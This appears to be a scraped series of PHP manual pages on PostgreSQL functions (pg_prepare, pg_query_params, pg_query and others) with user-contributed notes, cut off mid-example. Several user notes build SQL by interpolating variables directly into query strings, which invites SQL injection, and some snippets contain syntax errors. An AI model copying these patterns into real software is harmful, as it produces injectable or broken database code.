$connection_string =
    'host=localhost port=5432' .
    ' dbname=test user=test password=test';

//
// Creating 10 MyClassA objects using the same $connection_string
//
$objArr = Array();
for ($i = 0; $i < 10; $i++)
{
    $objArr[] = new MyClassA($connection_string);
}

//
// Human readable result:
//
foreach($objArr as $id => $object)
{
    printf(
        '%s: Object %s: using db %s<br>',
        get_class($object), $id, $object->conn
    );
}

/* ------------------------------------------------------------- */
// The result
// pgsql.allow_persistent: 1
// pgsql.max_persistent: -1
// pgsql.max_links: -1
//
// MyClassA: Object 0: using db Resource id #2
// MyClassA: Object 1: using db Resource id #3
// MyClassA: Object 2: using db Resource id #4
// MyClassA: Object 3: using db Resource id #5
// MyClassA: Object 4: using db Resource id #6
// MyClassA: Object 5: using db Resource id #7
// MyClassA: Object 6: using db Resource id #8
// MyClassA: Object 7: using db Resource id #9
// MyClassA: Object 8: using db Resource id #10
// MyClassA: Object 9: using db Resource id #11
//
/* ------------------------------------------------------------- */
//
// Each MyClassA object will use its _own_ database Resource id
//
?>
Dennis Fogg 13-Oct-2007 01:27
As of Aug 2007, some suggestions from the postgresql forums
on pg_pconnect(), faster postgres connections, and connection pooling:

Summary:
http://archives.postgresql.org/pgsql-general/2007-08/msg01406.php

Good details: http://archives.postgresql.org/pgsql-general/2007-08/msg00660.php
Also: http://archives.postgresql.org/pgsql-general/2007-08/msg01489.php
info at karl-philipp dot de 06-Oct-2003 04:05
A contribution to the transaction issue raised by "garrett at bgb dot cc".

In a German book about PostgreSQL in connection with PHP (Cornelia Boenigk, PostgreSQL - Grundlagen, Praxis, Anwendungsentwicklung mit PHP) one can read in chapter 19.3 about persistent connections:
If the page processing aborts and the transaction is not finished yet, the next script using the same persistent connection will be considered as the continuation of the transaction. In particular a lock of a table will persist. The explanation is as follows: After the abort of the script no COMMIT or ROLLBACK was sent to the db server.

The author describes a hint to avoid the scenario above:
You can create a function for resolving transactions and locks erroneously not closed. For invoking the function after execution of a script it has to be registered with the function register_shutdown_function():

 http://de2.php.net/manual/en/function.register-shutdown-function.php
Spiros Ioannou 30-Jan-2003 05:40
Instead of reducing MaxClients in apache you may try to
reduce pgsql.max_links in php to at least the number of
postmasters. It should work and leave
you with more available httpds for static html pages.
raggaflo at libertysurf dot fr 29-Mar-2002 08:03
Be careful when using Apache/PHP dynamic module/PostgreSQL :
in httpd.conf (Apache conf) default MaxClients is 150, whereas default PG's max_connections is 32 which is much fewer than 150. You have to set max_connections to at least MaxClients (and pg's shared_buffers to 2*max_connections at least) to avoid PG's errors with pg_pconnect like : "Sorry, too many clients already connected"
etsysx dot i dot hate dot spam at teleline dot es 10-Mar-2002 01:56
To setup a high availability server with apache as a static module and postgreSQL, change httpd.conf and set MaxClients to less than max postgreSQL simultaneous connections (like 32 or 64).
This way pg_pconnect will allways return a valid handle under heavy traffic or under a request flow attack without wasting resources and without connection problems.
garrett at bgb dot cc 08-Feb-2002 04:39
If a transaction is in progress when page processing ends, is it aborted before the connection placed bak in the pool? Or is the connection added "as is"?

It would seem that the correct thing to do is to always 'ABORT' before adding to the pool.

As a note, this would be a good time to check and see if the connection is still open before readding it. Thus allowing closed connections to be cleaned up over time, instead of hanging around for ever as they do now.
herve at elma dot fr 04-Dec-2000 06:14
For resetting an apache web server and in same time the persistent connections you may use :
./apachectl graceful
dmitri at graphictype dot com 10-May-2000 04:12
How to reset persistent connections:

killall -USR1 httpd
tumor at iris dot kkt dot bme dot hu 30-Mar-2000 05:39
Well, pg_pconnect is ALMOST identical to pg_Connect. The difference is that when you make something nasty with the PSQL server (like reseting it) then pg_pConnect still tryes to use the previous connection. This creates some nice broken_pipe errors (and maybe some more). I do not know that resetting the http server would help it, I think it would. As pg_connect creates a new connection every time (that is why it is \"so slow\") this error does not occurs with it. Really this is not a bug, but perphaps you could do something with it, and it may help some people working with recently changing pg security settings... Good bug hunting...
pg_parameter_status
pg_ping
PostgreSQL Functions


Ping database connection

pg_pconnect
pg_port
PostgreSQL Functions
PHP Manual

pg_ping

(PHP 4 >= 4.3.0, PHP 5)

pg_ping — Ping database connection

Description

bool pg_ping ([ resource $connection ] )

pg_ping() pings a database connection and tries to reconnect it if it is broken.

Parameters

connection

PostgreSQL database connection resource. When connection is not present, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 pg_ping() example

<?php
$conn = pg_pconnect("dbname=publisher");
if (!$conn) {
  echo "An error occured.\n";
  exit;
}

if (!pg_ping($conn))
  die("Connection is broken\n");
?>

See Also

  • pg_connection_status() - Get connection status
  • pg_connection_reset() - Reset connection (reconnect)

User Contributed Notes

There are no user contributed notes for this page.
pg_pconnect
pg_port
PostgreSQL Functions


Return the port number associated with the connection

pg_ping
pg_prepare
PostgreSQL Functions
PHP Manual

pg_port

(PHP 4, PHP 5)

pg_port — Return the port number associated with the connection

Description

int pg_port ([ resource $connection ] )

pg_port() returns the port number that the given PostgreSQL connection resource is connected to.

Parameters

connection

PostgreSQL database connection resource. When connection is not present, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

Return Values

An int containing the port number of the database server the connection is to, or FALSE on error.

Examples

Example #1 pg_port() example

<?php
$pgsql_conn = pg_connect("dbname=mark host=localhost");

if ($pgsql_conn) {
   print "Successfully connected to port: " . pg_port($pgsql_conn) . "<br/>\n";
} else {
   print pg_last_error($pgsql_conn);
   exit;
}
?>

User Contributed Notes

There are no user contributed notes for this page.
pg_ping
pg_prepare
PostgreSQL Functions


Submits a request to create a prepared statement with the given parameters, and waits for completion.

pg_port
pg_put_line
PostgreSQL Functions
PHP Manual

pg_prepare

(PHP 5 >= 5.1.0)

pg_prepare — Submits a request to create a prepared statement with the given parameters, and waits for completion.

Description

resource pg_prepare ([ resource $connection ], string $stmtname , string $query )

pg_prepare() creates a prepared statement for later execution with pg_execute() or pg_send_execute(). This feature allows commands that will be used repeatedly to be parsed and planned just once, rather than each time they are executed. pg_prepare() is supported only against PostgreSQL 7.4 or higher connections; it will fail when using earlier versions.

The function creates a prepared statement named stmtname from the query string, which must contain a single SQL command. stmtname may be "" to create an unnamed statement, in which case any pre-existing unnamed statement is automatically replaced; otherwise it is an error if the statement name is already defined in the current session. If any parameters are used, they are referred to in the query as $1, $2, etc.

Prepared statements for use with pg_prepare() can also be created by executing SQL PREPARE statements. (But pg_prepare() is more flexible since it does not require parameter types to be pre-specified.) Also, although there is no PHP function for deleting a prepared statement, the SQL DEALLOCATE statement can be used for that purpose.

Parameters

connection

PostgreSQL database connection resource. When connection is not present, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

stmtname

The name to give the prepared statement. Must be unique per-connection. If "" is specified, then an unnamed statement is created, overwriting any previously defined unnamed statement.

query

The parameterized SQL statement. Must contain only a single statement. (multiple statements separated by semi-colons are not allowed.) If any parameters are used, they are referred to as $1, $2, etc.

Return Values

A query result resource on success or FALSE on failure.

Examples

Example #1 Using pg_prepare()

<?php
// Connect to a database named "mary"
$dbconn = pg_connect("dbname=mary");

// Prepare a query for execution
$result = pg_prepare($dbconn, "my_query", 'SELECT * FROM shops WHERE name = $1');

// Execute the prepared query.  Note that it is not necessary to escape
// the string "Joe's Widgets" in any way
$result = pg_execute($dbconn, "my_query", array("Joe's Widgets"));

// Execute the same prepared query, this time with a different parameter
$result = pg_execute($dbconn, "my_query", array("Clothes Clothes Clothes"));

?>

See Also

  • pg_execute() - Sends a request to execute a prepared statement with given parameters, and waits for the result.
  • pg_send_execute() - Sends a request to execute a prepared statement with given parameters, without waiting for the result(s).

User Contributed Notes

andy at petdance dot com 28-Dec-2007 07:57
Any error in the prepare is available from pg_last_error().
mike at musskopf dot com 26-Sep-2007 02:14
I had some problems with this function. When you use pg_prepare() with a function like date_trunc('day', $1) you need to specify the data type.

The solution was use the Pear MDB2 but with some changes in code. The original code try to use pg_prepare() too, with errors.
rodrigo at fabricadeideias dot com 07-Nov-2006 04:05
If you decide to deallocate (unprepare) a previously prepared sql command it might be better to quote the sql name as in

  DEALLOCATE "theNameOfMySQL"

instead of (the more natural)

  DEALLOCATE theNameOfMySQL

PostgerSQL preserves the case of your identifiers if, and only if, you quote them. The pg_prepare function preserves the case of the sql name you use.

A complete example would be

  $sql = 'SELECT * FROM user WHERE cod_user = $1';
  $sqlName = 'selectUserByCode';
  if (!pg_prepare ($sqlName, $sql)) {
    die("Can't prepare '$sql': " . pg_last_error());
  }
  $rs = pg_execute($sqlName, array(1));
  do whatever you want with $rs and finally
  $sql = sprintf(
    'DEALLOCATE "%s"',
    pg_escape_string($sqlName)
  );
  if(!pg_query($sql)) {
    die("Can't query '$sql': " . pg_last_error());
  }
scott dot marlowe at gmail dot com 06-Mar-2006 07:20
Note that if you are preparing a query with an in clause with a list of items, you will need to prepare each item separately.

$result = pg_prepare($dbconn, "my_query", 'SELECT * FROM shops WHERE name IN($1,$2,$3)');

$result = pg_execute($dbconn, "my_query", array("coffee", "beer", "hard"));

This means that you can't just prepare a query with an arbitrary in() list.
david at fetter dot org 16-Apr-2005 08:33
SQL is often a complicated piece of code by itself, so you may wish put it inside a "here doc."  This will help you read it wherever it appears and test it by itself via a command-line or gui client.

$sql = <<<SQL
SELECT a.foo, b.bar, c.baz
FROM
    table_a a
LEFT JOIN
    table_b b
ON (
    a.a_id = b.a_id
)
JOIN
    table_c c
ON (
    b.c_id = c.c_id
)
WHERE c.name = $1
SQL;
pg_port
pg_put_line
PostgreSQL Functions


Send a NULL-terminated string to PostgreSQL backend

pg_prepare
pg_query_params
PostgreSQL Functions
PHP Manual

pg_put_line

(PHP 4 >= 4.0.3, PHP 5)

pg_put_line — Send a NULL-terminated string to PostgreSQL backend

Description

bool pg_put_line ([ resource $connection ], string $data )

pg_put_line() sends a NULL-terminated string to the PostgreSQL backend server. This is needed in conjunction with PostgreSQL's COPY FROM command.

COPY is a high-speed data loading interface supported by PostgreSQL. Data is passed in without being parsed, and in a single transaction.

An alternative to using raw pg_put_line() commands is to use pg_copy_from(). This is a far simpler interface.

Note:

The application must explicitly send the two characters "\." on the last line to indicate to the backend that it has finished sending its data, before issuing pg_end_copy().

Warning

Use of the pg_put_line() causes most large object operations, including pg_lo_read() and pg_lo_tell(), to subsequently fail. You can use pg_copy_from() and pg_copy_to() instead.

Parameters

connection

PostgreSQL database connection resource. When connection is not present, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

data

A line of text to be sent directly to the PostgreSQL backend. A NULL terminator is added automatically.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 pg_put_line() example

<?php
  $conn = pg_pconnect("dbname=foo");
  pg_query($conn, "create table bar (a int4, b char(16), d float8)");
  pg_query($conn, "copy bar from stdin");
  pg_put_line($conn, "3\thello world\t4.5\n");
  pg_put_line($conn, "4\tgoodbye world\t7.11\n");
  pg_put_line($conn, "\\.\n");
  pg_end_copy($conn);
?>

See Also

  • pg_end_copy() - Sync with PostgreSQL backend

User Contributed Notes

kurt at nospam dot milliganshome dot net 22-Aug-2005 09:08
This is the function you need if you are running into the infamous "must be superuser to COPY to or from a file" error from postgres.
pg_prepare
pg_query_params
PostgreSQL Functions


Submits a command to the server and waits for the result, with the ability to pass parameters separately from the SQL command text.

pg_put_line
pg_query
PostgreSQL Functions
PHP Manual

pg_query_params

(PHP 5 >= 5.1.0)

pg_query_params — Submits a command to the server and waits for the result, with the ability to pass parameters separately from the SQL command text.

Description

resource pg_query_params ([ resource $connection ], string $query , array $params )

Submits a command to the server and waits for the result, with the ability to pass parameters separately from the SQL command text.

pg_query_params() is like pg_query(), but offers additional functionality: parameter values can be specified separately from the command string proper. pg_query_params() is supported only against PostgreSQL 7.4 or higher connections; it will fail when using earlier versions.

If parameters are used, they are referred to in the query string as $1, $2, etc. params specifies the actual values of the parameters. A NULL value in this array means the corresponding parameter is SQL NULL.

The primary advantage of pg_query_params() over pg_query() is that parameter values may be separated from the query string, thus avoiding the need for tedious and error-prone quoting and escaping. Unlike pg_query(), pg_query_params() allows at most one SQL command in the given string. (There can be semicolons in it, but not more than one nonempty command.)

Parameters

connection

PostgreSQL database connection resource. When connection is not present, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

query

The parameterized SQL statement. Must contain only a single statement. (multiple statements separated by semi-colons are not allowed.) If any parameters are used, they are referred to as $1, $2, etc.

params

An array of parameter values to substitute for the $1, $2, etc. placeholders in the original prepared query string. The number of elements in the array must match the number of placeholders.

Return Values

A query result resource on success or FALSE on failure.

Examples

Example #1 Using pg_query_params()

<?php
// Connect to a database named "mary"
$dbconn = pg_connect("dbname=mary");

// Find all shops named Joe's Widgets.  Note that it is not necessary to
// escape "Joe's Widgets"
$result = pg_query_params($dbconn, 'SELECT * FROM shops WHERE name = $1', array("Joe's Widgets"));

// Compare against just using pg_query
$str = pg_escape_string("Joe's Widgets");
$result = pg_query($dbconn, "SELECT * FROM shops WHERE name = '{$str}'");

?>

See Also

  • pg_query() - Execute a query

User Contributed Notes

victor dot engmark at terreactive dot ch 15-Jun-2011 03:00
You can't run multiple statements with pg_query_params, but you can still have transaction support without falling back to pg_query:

<?php
$connection = pg_connect("host=127.0.0.1 port=5432 dbname=foo user=bar password=baz");
pg_query($connection, 'DROP TABLE IF EXISTS example');
pg_query($connection, 'CREATE TABLE example (col char(1))');
pg_query($connection, 'INSERT INTO example (col) VALUES (\'a\')');
// 'SELECT col FROM example' in another session returns "a"
pg_query($connection, 'BEGIN');
pg_query_params($connection, 'UPDATE example SET col = $1', array('b'));
// 'SELECT col FROM example' in another session still returns "a"
pg_query_params($connection, 'UPDATE example SET col = $1', array('c'));
// 'SELECT col FROM example' in another session still returns "a"
pg_query($connection, 'COMMIT');
// 'SELECT col FROM example' in another session returns "c"
?>
travismowens at gmail dot com 22-Jul-2010 11:38
Unfortunately the params will not respect string representations of NULL or NOW().  If your code pushes these values, they be considered a string and inserted literally as "NULL" and "NOW()".

Ideally, there should be an additional parameter that you can assign to force this text as pgSQL functions/reserved words and not wrap them up as strings (assuming pgSQL's parameterized queries support this.

This same problem also occurs for comma lists used in "WHERE column IN (1,2,3,4)", params treats "1,2,3,4" as a string, not a list of numbers, and runs it with quotes also.

For debugging, I use this function to simulate params, keep in mind this is not 100% accurate, it only attempts to simulate the actual SQL that param queries create.

<?php
    function pg_query_params_return_sql($query, $array)
    {
        $query_parsed = $query;

        for ($a = 0, $b = sizeof($array); $a < $b; $a++)
        {
            if ( is_numeric($array[$a]) )
            {
                $query_parsed = str_replace(('$'.($a+1)), str_replace("'","''", $array[$a]), $query_parsed );
            }
            else
            {
                $query_parsed = str_replace(('$'.($a+1)), "'".str_replace("'","''", $array[$a])."'", $query_parsed );
            }
        }

        return $query_parsed;
    }
?>
ac at esilo dot com 01-Jan-2010 10:45
pg_query and pg_query_params can be combined into a single function.  This also removes the need to construct a parameter array for pg_query_params:

<?php
function my_query($conn, $query)
{
  if(func_num_args() == 2)
    return pg_query($conn, $query);

  $args = func_get_args();
  $params = array_splice($args, 2);
  return pg_query_params($conn, $query, $params);
}
?>

Usage:

<?php
/* non-parameterized example */
my_query($conn, "SELECT $val1 + $val2");

/* parameterized example */
my_query($conn, "SELECT $1 + $2", $val1, $val2);
?>
strata_ranger at hotmail dot com 24-May-2009 09:03
Regarding boolean values, just typecast them as (integer) when passing them in your query -- '0' and '1' are perfectly acceptable literals for SQL boolean input:

- http://www.postgresql.org/docs/8.2/interactive/datatype-boolean.html

It is also safe to write your paramerized query in double-quotes, which allows you to mix constant values and placeholders in your query without having to worry about how whether PHP will attempt to substitute any variables in your parameterized string.

Of course this also means that unlike PHP's double-quoted string syntax, you CAN include literal $1, $2, etc. inside SQL strings, e.g:

<?php
// Works ($1 is a placeholder, $2 is meant literally)
pg_query_params("INSERT INTO foo (col1, col2) VALUES ($1, 'costs $2')", Array($data1));

// Throws an E_WARNING (passing too many parameters)
pg_query_params("INSERT INTO foo (col1, col2) VALUES ($1, 'costs $2')", Array($data1, $data2));
?>
jsnell at e-normous dot com 26-Sep-2007 03:57
When inserting into a pg column of type bool, you cannot supply a PHP type of bool.  You must instead use a string "t" or "f". PHP attempts to change boolean values supplied as parameters to strings, and then attempts to use a blank string for false.

Example of Failure:
pg_query_params('insert into table1 (bool_column) values ($1)', array(false));

Works:
pg_query_params('insert into lookup_permissions (system) values ($1)', array(false ? 't' : 'f'));
dt309 at f2s dot com 22-Dec-2006 12:11
If you need to provide multiple possible values for a field in a select query, then the following will help.

<?php
// Assume that $values[] is an array containing the values you are interested in.
$values = array(1, 4, 5, 8);

// To select a variable number of arguments using pg_query() you can use:
$valuelist = implode(', ', $values);
$query = "SELECT * FROM table1 WHERE col1 IN ($valuelist)";
$result = pg_query($query)
    or die(pg_last_error());

// You may therefore assume that the following will work.
$query = 'SELECT * FROM table1 WHERE col1 IN ($1)';
$result = pg_query_params($query, array($valuelist))
    or die(pg_last_error());
// Produces error message: 'ERROR: invalid input syntax for integer'
// It only works when a SINGLE value specified.

// Instead you must use the following approach:
$valuelist = '{' . implode(', ', $values . '}'
$query = 'SELECT * FROM table1 WHERE col1 = ANY ($1)';
$result = pg_query_params($query, array($valuelist));
?>

The error produced in this example is generated by PostGreSQL.

The last method works by creating a SQL array containing the desired values. 'IN (...)' and ' = ANY (...)' are equivalent, but ANY is for working with arrays, and IN is for working with simple lists.
mledford 04-Oct-2006 08:18
If you are trying to replicate the function pg_query_params, you might also want to support NULL values. While is_int returns true for a NULL value, the formatting for the SQL.

function pg_query_params( $db, $query, $parameters ) {
    // Escape parameters as required & build parameters for callback function
    global $pg_query_params__parameters;
    foreach( $parameters as $k=>$v ) {
        if ( is_null($v) ) {
            $parameters[$k] = 'NULL';
        } else {
            $parameters[$k] = ( is_int( $v ) ? $v : "'".pg_escape_string( $v )."'" );
        }
    }
    $pg_query_params__parameters = $parameters;

    // Call using pg_query
    return pg_query( $db, preg_replace_callback( '/\$([0-9]+)/', 'pg_query_params__callback', $query));
}
cc+php at c2se dot com 02-Sep-2006 05:17
This is a useful function for preventing SQL injection attacks, so, for those of us who are not yet able to upgrade to PHP5.1, here is a replacement function which works similarly on older versions of PHP...

<?php   # Parameterised query implementation for Postgresql and older versions of PHP

        if( !function_exists( 'pg_query_params' ) ) {

                function pg_query_params__callback( $at ) {
                        global $pg_query_params__parameters;
                        return $pg_query_params__parameters[ $at[1]-1 ];
                }

                function pg_query_params( $db, $query, $parameters ) {

                        // Escape parameters as required & build parameters for callback function
                        global $pg_query_params__parameters;
                        foreach( $parameters as $k=>$v )
                                $parameters[$k] = ( is_int( $v ) ? $v : "'".pg_escape_string( $v )."'" );
                        $pg_query_params__parameters = $parameters;

                        // Call using pg_query
                        return pg_query( $db, preg_replace_callback( '/\$([0-9]+)/', 'pg_query_params__callback', $query ) );

                }
        }

        // Example: pg_query_params( $db_resource, "SELECT * FROM table WHERE col1=$1 AND col2=$2", array( 42, "It's ok" ) );
?>
pg_put_line
pg_query
PostgreSQL Functions


Execute a query

pg_query_params
pg_result_error_field
PostgreSQL Functions
PHP Manual

pg_query

(PHP 4 >= 4.2.0, PHP 5)

pg_query — Execute a query

Description

resource pg_query ([ resource $connection ], string $query )

pg_query() executes the query on the specified database connection.

If an error occurs, and FALSE is returned, details of the error can be retrieved using the pg_last_error() function if the connection is valid.

Note: Although connection can be omitted, it is not recommended, since it can be the cause of hard to find bugs in scripts.

Note:

This function used to be called pg_exec(). pg_exec() is still available for compatibility reasons, but users are encouraged to use the newer name.

Parameters

connection

PostgreSQL database connection resource. When connection is not present, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

query

The SQL statement or statements to be executed. When multiple statements are passed to the function, they are automatically executed as one transaction, unless there are explicit BEGIN/COMMIT commands included in the query string. However, using multiple transactions in one function call is not recommended.

Data inside the query should be properly escaped.

Return Values

A query result resource on success or FALSE on failure.

Examples

Example #1 pg_query() example

<?php

$conn = pg_pconnect("dbname=publisher");
if (!$conn) {
  echo "An error occured.\n";
  exit;
}

$result = pg_query($conn, "SELECT author, email FROM authors");
if (!$result) {
  echo "An error occured.\n";
  exit;
}

while ($row = pg_fetch_row($result)) {
  echo "Author: $row[0]  E-mail: $row[1]";
  echo "<br />\n";
}

?>

Example #2 Using pg_query() with multiple statements

<?php

$conn = pg_pconnect("dbname=publisher");

// these statements will be executed as one transaction

$query = "UPDATE authors SET author=UPPER(author) WHERE id=1;";
$query .= "UPDATE authors SET author=LOWER(author) WHERE id=2;";
$query .= "UPDATE authors SET author=NULL WHERE id=3;";

pg_query($conn, $query);

?>

See Also

  • pg_connect() - Open a PostgreSQL connection
  • pg_pconnect() - Open a persistent PostgreSQL connection
  • pg_fetch_array() - Fetch a row as an array
  • pg_fetch_object() - Fetch a row as an object
  • pg_num_rows() - Returns the number of rows in a result
  • pg_affected_rows() - Returns number of affected records (tuples)

User Contributed Notes

MomAlwaysLikedMeBest at hotmail 26-Apr-2011 11:42
Transactions can be accomplished using the following syntax:

<?php
pg_query($db, "BEGIN WORK");

// Some insert/update/delete queries.
$res=pg_query($db, "INSERT INTO customers (customer_id) VALUES ('$customer_id')");

// Verify and end the transaction as appropriate.
if (!$res) {
    pg_query($db, "ROLLBACK");
} else {
    pg_query($db, "COMMIT");
}
?>
sd at dicksonlife dot com 14-Sep-2006 12:40
Took me a while to track this down so I thought it might be useful for others:

If you use stored procedures and need to get result sets back from them:

function dbquery($link,$query){
  pg_query($link,"BEGIN;");
  $tr=pg_query($link,$query);
  $r=pg_fetch_row($tr);
  $name=$r[0];
  $rs=pg_query($link,"FETCH ALL IN \"" . $name . "\";");
  pg_query($link,"END;");
  return $rs;
}

(Error checking removed for clarity)
zoli at makettinfo.hu 21-May-2006 08:07
It would be better this way:

<?php
  $result=pg_query($conn, "SELECT COUNT(*) AS rows FROM x WHERE a=b;");
  if  (!$result) {
   echo "query did not execute";
  }
  if ($line = pg_fetch_assoc($result)) {
    if ($line['rows'] == 0) {
     echo "0 records"
    }
  }
  else {
   while ($row = pg_fetch_array($result)) {
     //do stuff with $row
   }
  }
?>

This solution doesn't raise the load of the system with the move of matching rows (perhaps 0,1, perhaps 100, 1000, ... rows)
mankyd 13-May-2006 07:21
There was a typo in the code that I posted:

<?php
  $result=pg_query($conn, "SELECT * FROM x WHERE a=b;");
  if  (!$result) {
   echo "query did not execute";
  }
  if (pg_num_rows($result) == 0) {
   echo "0 records"
  }
  else {
   while ($row = pg_fetch_array($result)) {
     //do stuff with $row
   }
  }
?>
mankyd 12-May-2006 06:56
Improving upon what jsuzuki said:

It's probably better to use pg_num_rows() to see if no rows were returned, as that leaves the resultset cursor pointed to the first row so you can use it in a loop.

Example:

<?php
  $result=pg_query($conn, "SELECT * FROM x WHERE a=b;");
  if  (!$result) {
   echo "query did not execute";
  }
  if (pg_num_rows($result) == 0) {
   echo "0 records"
  }
  else {
    while ($row = pg_fetch_array($result) {
      //do stuff with $row
    }
  }
?>

I, personally, also find it more readable.
jsuzuki at spamcop dot net 27-Nov-2005 05:58
expanding on the note left by "cmoore" -

To check to see if the recordset returned no records,

<?php
  $result=pg_query($conn, "SELECT * FROM x WHERE a=b;");
  if  (!$result) {
    echo "query did not execute";
  }
  $rs = pg_fetch_assoc($result);
  if (!$rs) {
    echo "0 records"
  }
?>

-jack
Jan-Willem Regeer 27-Sep-2005 04:58
In reply to david dot bouriaud at ac-rouen dot fr:

All it is doing is internal caching. How can that be dangerous. If you are going to be deleting records after you have closed the connection it is your problem to make sure you have the latest and greatest records, and not some cached ones. Considering you are writing the script I don't see why it is a problem, you know what you are doing in the script, so it is quite useless for PHP to invalidate the cache, when that could be done upon exiting the script, which would mean there was less time spent cleaning out the cache when it counts most (when returning data to the user).
cmoore 05-Sep-2005 11:20
One thing to note that wasn't obvious to me at first.  If your query returns zero rows, that is not a "failed" query.  So the following is wrong:
  $result=pg_query($conn, "SELECT * FROM x WHERE a=b;");
  if  (!$result) {
    echo "No a=b in x\n";
  }

pg_query returns FALSE if the query can not be executed for some reason.  If the query is executed but returns zero rows then you get back a resul with no rows.
Akbar 01-Dec-2004 08:07
Use pg_query to call your stored procedures, and use pg_fetch_result when getting a value (like a smallint as in this example) returned by your stored procedure.

<?php
$pgConnection = pg_connect("dbname=users user=me");

$userNameToCheckFor = "metal";

$result = pg_query($pgConnection, "SELECT howManyUsersHaveThisName('$userNameToCheckFor')");

$count = pg_fetch_result($result, 0, 'howManyUsersHaveThisName');
?>
yoshinariatsuo at yahoo dot com 22-Apr-2003 11:59
create table from pg_query results.. hope it helps newbies...
function table_create($result)
{
    $numrows = pg_num_rows($result);
    $fnum = pg_num_fields($result);

    echo "<table border width='100%'>";
    echo "<tr>";

    for ($x = 0; $x < $fnum; $x++) {
        echo "<td><b>";
        echo strtoupper(pg_field_name($result, $x));
        echo "</b></td>";
    }

    echo "</tr>";

    for ($i = 0; $i < $numrows; $i++) {
        $row = pg_fetch_object($result, $i);
        echo "<tr align='center'>";
        for ($x = 0; $x < $fnum; $x++) {
    $fieldname = pg_field_name($result, $x);
    echo "<td>";
    echo $row->$fieldname;
    echo "</td>";
        }
        echo"</tr>";
    }
    echo "</table>";

    return 0;
}
mentat at azsoft dot pl 14-Oct-2002 05:16
$GLOBALS["PG_CONNECT"]=pg_connect(...);
....

function query ($sqlQuery,$var=0) {
   if (!$GLOBALS["PG_CONNECT"]) return 0;
   $lev=error_reporting (8); //NO WARRING!!
   $result=pg_query ($sqlQuery);
   error_reporting ($lev); //DEFAULT!!
   if (strlen ($r=pg_last_error ($GLOBALS["PG_CONNECT"]))) {
      if ($var) {
        echo "<p color=\"red\">ERROR:<pre>";
        echo $sqlQuery;
        echo "</pre>";
        echo $r;
        echo "&lt/p>";
      }
      close_db ();
      return 0;
   }
   return $result;
}
hierophantNOSPAM at pcisys dot net 17-Jun-2002 12:50
Regarding david.bouriaud@ac-rouen.fr:
You misunderstand SQL. When a query is issued, results applicable at the time of the query are returned to the application (i.e. PHP). There is no further reference to the database required. Thus, all of the pg_fetch_* functions are acting on an internal data storage, NOT the database itself. This is because SQL does not have a concept of sets, or of state (except in limited circumstances provided by transactions). However, if you use a cursor instead, fetching only one record at a time, you may get an error if you delete the table. If you don't, it is an issue with Postgres, not PHP.
jvarner at dsrglobal dot com 10-May-2002 03:18
That's why your code should never assume it has the very latest data unless it locks it.
david dot bouriaud at ac-rouen dot fr 07-May-2002 10:54
Hi to all !
It seems that the old pg_exec function does not do what it is expected to.
In the doc, it is said that it returns a resource identifier on the successful querry that was send to the backend.
It seems to me that it is more than a resource identifier.
Follow the example :

<?php
$ConnId = pg_connect ("blablabla");
$ResId = pg_exec ("select * from table", $ConnId);
pg_close ($ConnId);
$row = pg_fetch_array ($ResId, 4);
?>

I closed the connection voluntarily before the pg_fetch_array. It WORKS !

Now, imagine the following script :
<?php
$ConnId = pg_connect ("blablabla");
$ResId = pg_exec ("select * from table", $ConnId);
pg_close ($ConnId);
system ("psql base -c delete from table");
$row = pg_fetch_array ($ResId, 4);
?>
See how it could be harmful !!!! I think that the coders have done this for performances reasons, but it is not the right way do do so !!!
pg_query_params
pg_result_error_field
PostgreSQL Functions


Returns an individual field of an error report.

pg_query
pg_result_error
PostgreSQL Functions
PHP Manual

pg_result_error_field

(PHP 5 >= 5.1.0)

pg_result_error_field — Returns an individual field of an error report.

Description

string pg_result_error_field ( resource $result , int $fieldcode )

pg_result_error_field() returns one of the detailed error message fields associated with result resource. It is only available against a PostgreSQL 7.4 or above server. The error field is specified by the fieldcode.

Because pg_query() and pg_query_params() return FALSE if the query fails, you must use pg_send_query() and pg_get_result() to get the result handle.

If you need to get additional error information from failed pg_query() queries, use pg_set_error_verbosity() and pg_last_error() and then parse the result.

Parameters

result

A PostgreSQL query result resource from a previously executed statement.

fieldcode

Possible fieldcode values are: PGSQL_DIAG_SEVERITY, PGSQL_DIAG_SQLSTATE, PGSQL_DIAG_MESSAGE_PRIMARY, PGSQL_DIAG_MESSAGE_DETAIL, PGSQL_DIAG_MESSAGE_HINT, PGSQL_DIAG_STATEMENT_POSITION, PGSQL_DIAG_INTERNAL_POSITION (PostgreSQL 8.0+ only), PGSQL_DIAG_INTERNAL_QUERY (PostgreSQL 8.0+ only), PGSQL_DIAG_CONTEXT, PGSQL_DIAG_SOURCE_FILE, PGSQL_DIAG_SOURCE_LINE or PGSQL_DIAG_SOURCE_FUNCTION.

Return Values

A string containing the contents of the error field, NULL if the field does not exist or FALSE on failure.

Examples

Example #1 pg_result_error_field() example

<?php
  $dbconn = pg_connect("dbname=publisher") or die("Could not connect");

  if (!pg_connection_busy($dbconn)) {
      pg_send_query($dbconn, "select * from doesnotexist;");
  }

  $res1 = pg_get_result($dbconn);
  echo pg_result_error_field($res1, PGSQL_DIAG_SQLSTATE);
?>

See Also

  • pg_result_error() - Get error message associated with result

User Contributed Notes

There are no user contributed notes for this page.
pg_query
pg_result_error
PostgreSQL Functions


Get error message associated with result

pg_result_error_field
pg_result_seek
PostgreSQL Functions
PHP Manual

pg_result_error

(PHP 4 >= 4.2.0, PHP 5)

pg_result_error — Get error message associated with result

Description

string pg_result_error ( resource $result )

pg_result_error() returns any error message associated with the result resource. Therefore, the user has a better chance of getting the correct error message than with pg_last_error().

The function pg_result_error_field() can give much greater detail on result errors than pg_result_error().

Because pg_query() returns FALSE if the query fails, you must use pg_send_query() and pg_get_result() to get the result handle.

Parameters

result

PostgreSQL query result resource, returned by pg_query(), pg_query_params() or pg_execute() (among others).

Return Values

Returns a string if there is an error associated with the result parameter, FALSE otherwise.

Examples

Example #1 pg_result_error() example

<?php
  $dbconn = pg_connect("dbname=publisher") or die("Could not connect");

  if (!pg_connection_busy($dbconn)) {
      pg_send_query($dbconn, "select * from doesnotexist;");
  }

  $res1 = pg_get_result($dbconn);
